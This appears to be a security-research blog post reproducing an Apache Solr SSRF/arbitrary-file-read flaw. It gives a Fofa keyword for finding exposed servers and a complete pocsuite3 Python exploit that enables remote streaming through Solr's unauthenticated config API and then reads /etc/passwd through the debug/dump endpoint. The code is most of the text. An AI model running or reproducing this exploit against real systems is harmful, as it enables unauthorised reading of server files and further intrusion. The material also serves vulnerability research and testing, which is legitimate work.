Back home
中文
H7 / SECURITY RESEARCH NOTES

Apache Solr SSRF Leading to Arbitrary File Read Vulnerability Reproduction

On this page6 sections

0x01 Vulnerability Details

Apache Solr is an open-source search service developed in Java and primarily implemented using HTTP and Apache Lucene. logo.png

Apache Solr is unauthenticated by default when installed. An attacker can access unauthenticated interfaces and craft malicious HTTP requests to cause an SSRF vulnerability, thereby reading arbitrary files on the target server.

0X02 Affected Versions

All versions of Apache Solr

0x03 Environment Setup

Fofa search keyword: "Apache-Solr"

0x04 POC Development

# /usr/bin/env python3
# coding:utf8

from pocsuite3.api import Output, POCBase, register_poc, requests, logger
import sys
import json


class TestPOC(POCBase):
    vulID = 'Hunter-0x07'
    version = 'v1'
    author = ['Hunter-0x07']
    vulDate = '2021-03-18'
    createDate = '2021-03-18'
    updateDate = '2020-03-18'
    references = ['']
    name = 'Apache Solr SSRF导致任意文件读取漏洞'
    appPowerLink = ''
    appName = 'Apache Solr'
    appVersion = '''当前所有版本'''
    vulType = 'Arbitrary File Read'
    desc = ''''''

    def _verify(self):
        result = {}

        self.url = self.url.strip("/")

        # 获取core_name
        self._core_name = self._get_core_name()

        # 验证是否未授权
        self._unauthrize_verify()

        # 尝试读取目标服务器文件
        if self._read_file():
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url
            logger.info("target is vulnerable")

        return self.parse_output(result)

    def _get_core_name(self):
        """尝试获取core_name"""
        core_url = self.url + "/solr/admin/cores?indexInfo=false&wt=json"

        try:
            res = requests.get(url=core_url, headers=self.headers)
            core_name = list(json.loads(res.text)["status"])[0]

            return core_name

        except Exception as e:
            pass

    def _unauthrize_verify(self):
        try:
            post_data = '{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}'
            vuln_url = self.url + "/solr/" + self._core_name + "/config"

            res = requests.post(url=vuln_url, headers=self.headers, data=post_data)
            if "This" in res.text and res.status_code == 200:
                logger.info("目标可能存在漏洞".format(vuln_url))
            else:
                logger.info("目标不存在漏洞,退出程序".format(vuln_url))
                sys.exit(0)

        except Exception as e:
            pass

    def _read_file(self):
        vuln_url = self.url + f"/solr/{self._core_name}/debug/dump?param=ContentStreams"
        post_data = {
            "stream.url": "file:///etc/passwd"
        }

        try:
            res = requests.post(url=vuln_url, headers=self.headers, data=post_data)

            if "root:x" in res.text:
                return True
            else:
                logger.info("目标不存在漏洞")

        except Exception as e:
            pass

    def _attack(self):
        return self._verify()

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output


register_poc(TestPOC)

0x06 POC Reproduction

The vulnerability exists, as shown below:

poc_solr_success.png

The vulnerability does not exist, as shown below: poc_solr_failed.png

0x07 References

https://issues.apache.org/jira/browse/SOLR https://cwiki.apache.org/confluence/display/solr/SolrSecurity